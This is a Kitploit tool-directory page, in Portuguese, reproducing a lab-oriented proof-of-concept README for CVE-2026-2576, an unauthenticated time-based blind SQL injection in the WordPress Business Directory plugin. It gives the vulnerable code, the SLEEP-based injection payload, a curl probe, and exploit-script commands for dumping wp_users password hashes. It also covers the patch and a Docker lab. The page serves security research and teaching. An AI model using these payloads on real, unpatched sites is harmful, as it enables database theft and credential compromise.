Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE_2026_2576_PoC — CVE-2026-2576 — PoC de SQLi no Plugin Business Directory (Configuração Local). Injeção SQL Cega Baseada em Tempo Não Autenticada no Plugin Business Directory para WordPress ≤ 6.4.21 | Kitploit
Ferramentas/GitHubGitHub/sowatkheang/cve_2026_2576_poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHubsowatkheang/cve_2026_2576_poc

CVE_2026_2576_PoC

CVE-2026-2576 — PoC de SQLi no Plugin Business Directory (Configuração Local). Injeção SQL Cega Baseada em Tempo Não Autenticada no Plugin Business Directory para WordPress ≤ 6.4.21

Ver Repositório
2há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-2576 — PoC de SQLi no Plugin Business Directory

Injeção SQL cega baseada em tempo sem autenticação
Plugin Business Directory para WordPress ≤ 6.4.21


Índice

  • Visão Geral da Vulnerabilidade
  • Análise Técnica
  • Requisitos do Laboratório
  • Configuração do Laboratório
  • Executando o PoC
  • Saída Esperada
  • Análise do Patch
  • Referências
  • Aviso Legal

Visão Geral da Vulnerabilidade

CampoDetalhe
CVECVE-2026-2576
PluginBusiness Directory Plugin – Easy Listing Directories for WordPress
Fornecedorstrategy11team
AfetadoTodas as versões ≤ 6.4.21
Corrigido6.4.22
TipoInjeção SQL cega baseada em tempo (CWE-89)
AutenticaçãoNenhuma — totalmente sem autenticação
CVSS7.5 (NVD) / 9.3 (Wordfence)
VetorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
AtribuidorWordfence (CNA) — d8ec7d25-1574-416c-b5fd-3a71b1cc09d2
Divulgado18 de fevereiro de 2026

O Business Directory Plugin é um plugin WordPress amplamente utilizado para criar diretórios de listagens com suporte a pagamentos. Uma falha no seu construtor de consultas ORM permite que um atacante não autenticado realize injeção SQL cega baseada em tempo por meio do parâmetro de consulta payment, possibilitando a inferência do conteúdo do banco de dados.


Análise Técnica

Causa Raiz

A vulnerabilidade reside no construtor de consultas ORM:

Arquivo: includes/db/class-db-query-set.php — filter_args()

root@kitploit:~
private function filter_args( $args ) {
    $filters = array();

    foreach ( $args as $f => $v ) {
        $op = '=';
        // ...

        if ( is_array( $v ) ) {
            // ❌ VULNERÁVEL — sem sanitização, concatenação direta de strings
            $filters[] = "$f IN ('" . implode( "','", $v ) . "')";
        } else {
            // ✓ Seguro — usa $wpdb->prepare()
            $filters[] = $this->db->prepare( "$f $op %s", $v );
        }
    }

    return $filters;
}

Quando $v é um escalar, o código usa corretamente $wpdb->prepare(). Quando $v é um array, ele cai no ramo inseguro e concatena os valores diretamente na string SQL sem qualquer escape.

Gatilho

O controlador de checkout (includes/controllers/pages/class-checkout.php) lê o parâmetro de requisição payment e o passa para o ORM:

root@kitploit:~
// class-checkout.php :: fetch_payment()
$payment_id = wpbdp_get_var( array( 'param' => 'payment' ), 'request' );
if ( ! $this->payment_id && ! empty( $payment_id ) ) {
    $this->payment = WPBDP_Payment::objects()->get(
        array( 'payment_key' => $payment_id )  // $payment_id passado como valor
    );
}

O PHP converte automaticamente payment[]=value na string de consulta em um array $_GET['payment'] = ['value']. Isso força $v a ser um array em filter_args(), atingindo o ramo inseguro.

Fluxo da Injeção

root@kitploit:~
GET /?page_id=4&wpbdp_view=checkout&payment[]=<payload>

  PHP: $_REQUEST['payment'] = ['<payload>']   ← array devido à notação []
                    |
                    v
  class-checkout.php: fetch_payment()
                    |
                    v
  WPBDP_Payment::objects()->get(['payment_key' => ['<payload>']])
                    |
                    v
  class-db-query-set.php: filter_args()
      => is_array($v) == TRUE → ramo inseguro
      => "$f IN ('" . implode("','", $v) . "')"
                    |
                    v
  MySQL: SELECT * FROM wp_wpbdp_payments
         WHERE payment_key IN ('<payload>')

Payload de Injeção

root@kitploit:~
payment[]=<key>') AND IF((<condition>),SLEEP(N),0)-- -

SQL gerado:

root@kitploit:~
SELECT * FROM wp_wpbdp_payments
WHERE payment_key IN ('<key>') AND IF((<condition>),SLEEP(N),0)-- -')

O -- - comenta o ') final. O IF() cria um oráculo booleano: quando a condição é VERDADEIRA, SLEEP(N) é acionado e a resposta é atrasada; quando FALSA, a resposta é imediata.

Observação: O ORM executa a consulta duas vezes por requisição (uma vez em get(), uma vez em maybe_execute_query()), portanto um payload SLEEP(1) produz ~2 segundos de atraso observável, e SLEEP(2) produz ~4 segundos.

Impacto

Um atacante não autenticado pode inferir e extrair o conteúdo do banco de dados caractere por caractere por meio de respostas baseadas em tempo, incluindo:

  • Tabela de usuários do WordPress (wp_users), nomes de usuário, endereços de e-mail, hashes de senha
  • Registros de pagamento do plugin, dados de transação, detalhes do proprietário da listagem
  • Qualquer outra tabela acessível pelo usuário do banco de dados

Patch

A correção na versão 6.4.22 adiciona sanitização ao ramo de array de filter_args():

root@kitploit:~
// ANTES (vulnerável)
$filters[] = "$f IN ('" . implode( "','", $v ) . "')";

// DEPOIS (corrigido)
$escaped   = array_map( array( $this->db, 'esc_sql' ), $v );
$filters[] = "$f IN ('" . implode( "','", $escaped ) . "')";

Requisitos do Laboratório

  • Docker + Docker Compose (v2)
  • Python 3.9+
  • Kali Linux ou qualquer host Linux
  • Acesso à internet (para baixar imagens Docker e o plugin)

Instale as dependências Python:

root@kitploit:~
pip3 install requests colorama --break-system-packages

Configuração do Laboratório

Passo 1: Clonar ou criar o diretório do laboratório

root@kitploit:~
cve-2026-2576-lab/
┣ 📂poc
┃ ┣ 📜patch_diff.py
┃ ┗ 📜poc.py
┣ 📜.gitignore
┣ 📜docker-compose.yml
┣ 📜init-db.sql
┣ 📜README.md
┣ 📜setup.sh
┗ 📜uploads.ini

Passo 2: Iniciar a pilha completa

root@kitploit:~
cd cve-2026-2576-lab
docker compose up -d --build

Passo 3: Executar o instalador e aguardar a conclusão

root@kitploit:~
docker compose up setup

Aguarde até ver:

root@kitploit:~
╔══════════════════════════════════════════════════════════╗
║           Configuração do Laboratório Concluída!         ║
╠══════════════════════════════════════════════════════════╣
║  WordPress:   http://localhost:8080                      ║
║  WP Admin:    http://localhost:8080/wp-admin             ║
║  phpMyAdmin:  http://localhost:8082                      ║
╠══════════════════════════════════════════════════════════╣
║  admin / admin123                                        ║
║  victim / victimpass123                                  ║
╠══════════════════════════════════════════════════════════╣
║  Plugin: 6.4.21 (VULNERÁVEL)                             ║
║  ID da Página BD: 4                                      ║
╚══════════════════════════════════════════════════════════╝

Passo 4: Confirmar a versão vulnerável do plugin

root@kitploit:~
docker exec lab_wordpress bash -c \
  "grep 'Version:' /var/www/html/wp-content/plugins/business-directory-plugin/business-directory-plugin.php \
  | head -1"
# Esperado: * Version: 6.4.21

Passo 5: Obter o payment_key real do banco de dados

root@kitploit:~
docker exec lab_mysql mysql -uwpuser -pwppass wordpress -e "SELECT id, payment_key, status FROM wp_wpbdp_payments;"
root@kitploit:~
+----+--------------+---------+
| id | payment_key  | status  |
+----+--------------+---------+
|  1 | seed-pay-001 | pending |
+----+--------------+---------+

Passo 6: Iniciar o phpMyAdmin (opcional, para inspeção do banco de dados)

root@kitploit:~
docker compose up -d pma
# Acesse em http://localhost:8082  (root / rootpass)

Executando o PoC

Todos os comandos são executados a partir do diretório raiz do laboratório no seu host Kali. Use http://localhost:8080 (mapeamento de porta host → Docker). O payment_key deve corresponder a uma linha existente em wp_wpbdp_payments.

Detectar: confirmar que a injeção existe

root@kitploit:~
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --detect

Esperado: INJEÇÃO CONFIRMADA ✓ (2.03s ≈ 1s × 2 execuções ORM)

Texto alternativo

Extrair: nome do banco de dados, versão, usuário

root@kitploit:~
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --extract-db

Texto alternativo

Listar: todas as tabelas no banco de dados

root@kitploit:~
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --tables

Despejar: tabela de usuários do WordPress (hashes de senha)

root@kitploit:~
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table wp_users

Despejar: tabela personalizada (segredos semeados)

root@kitploit:~
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table lab_secrets

Extração de Expressão SQL Personalizada

root@kitploit:~
python3 poc/poc.py --target http://localhost:8080 --page-id 4  --payment-key seed-pay-001 --custom-sql "SELECT secret_value FROM lab_secrets WHERE label='flag'"  

Ajuste de velocidade

FlagPadrãoObservações
--sleep N1SLEEP(N) por oráculo. VERDADEIRO ≈ N×2s. Menor = mais rápido, mais ruidoso
--threads N4Posições de caracteres em paralelo. 8 funciona bem em hardware moderno
root@kitploit:~
# Extração mais rápida
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table wp_users --sleep 1 --threads 8

Verificação manual com curl

root@kitploit:~
# Linha de base: deve retornar em < 0.1s
time curl -s -o /dev/null "http://localhost:8080/?page_id=4&wpbdp_view=checkout&payment[]=seed-pay-001"

# Sonda de sleep: deve retornar em ~4s (SLEEP(2) × 2 execuções)
time curl -s -o /dev/null "http://localhost:8080/?page_id=4&wpbdp_view=checkout&payment[]=$(python3 -c "import urllib.parse; print(urllib.parse.quote(\"seed-pay-001') AND SLEEP(2)-- -\"))")" 


Análise do Patch

Para comparar a versão vulnerável com a versão corrigida:

root@kitploit:~
python3 poc/patch_diff.py 

# Para Diff Completo
python3 poc/patch_diff.py --full
  • Ou Download Manual
root@kitploit:~
# Baixe ambas as versões
svn export https://plugins.svn.wordpress.org/business-directory-plugin/tags/6.4.21/ /tmp/v6421
svn export https://plugins.svn.wordpress.org/business-directory-plugin/tags/6.4.22/ /tmp/v6422

# Compare o arquivo vulnerável
diff -u /tmp/v6421/includes/db/class-db-query-set.php /tmp/v6422/includes/db/class-db-query-set.php

O diff mostrará esc_sql() adicionado ao ramo de array em filter_args().


Gerenciamento do Laboratório

root@kitploit:~
# Parar o laboratório (preserva os dados)
docker compose stop

# Reiniciar
docker compose start

# Desmontagem completa — destrói todos os volumes e dados
docker compose down -v

# Reexecutar a configuração do zero
docker compose down -v && docker compose up setup

# Shell no contêiner WordPress
docker exec -it lab_wordpress bash

# Visualizar o log de erros PHP do WordPress
docker exec lab_wordpress tail -f /var/www/html/wp-content/debug.log

# Observar o log de consultas MySQL em tempo real
docker exec lab_mysql mysql -uroot -prootpass -e "SET GLOBAL general_log=1; SET GLOBAL general_log_file='/tmp/mysql.log';"

docker exec lab_mysql tail -f /tmp/mysql.log

Referências

  • Aviso Wordfence — https://www.wordfence.com/threat-intel/vulnerabilities/id/d8ec7d25-1574-416c-b5fd-3a71b1cc09d2
  • Entrada NVD — https://nvd.nist.gov/vuln/detail/CVE-2026-2576
  • Página do Plugin WordPress — https://wordpress.org/plugins/business-directory-plugin/
  • SVN do Plugin WordPress — https://plugins.svn.wordpress.org/business-directory-plugin/
  • OWASP: Injeção SQL — https://owasp.org/www-community/attacks/SQL_Injection
  • CWE-89 — https://cwe.mitre.org/data/definitions/89.html
  • Documentação do $wpdb->prepare() do WordPress — https://developer.wordpress.org/reference/classes/wpdb/prepare/

Aviso Legal

Este repositório destina-se exclusivamente a pesquisa de segurança autorizada e fins educacionais. Todos os testes foram conduzidos em um ambiente de laboratório local isolado. Nunca execute esta ferramenta contra sistemas que você não possui ou para os quais não possui autorização escrita explícita para testar. O acesso não autorizado a sistemas de computador é ilegal sob o Computer Fraud and Abuse Act (CFAA) e leis equivalentes em outras jurisdições.

O autor não assume nenhuma responsabilidade pelo uso indevido deste material. Sempre siga práticas de divulgação responsável — se você descobrir novas descobertas com base nesta pesquisa, coordene com o fornecedor antes de publicar.


Pesquisado e desenvolvido em um laboratório Docker isolado no Kali Linux.

Baixar ferramenta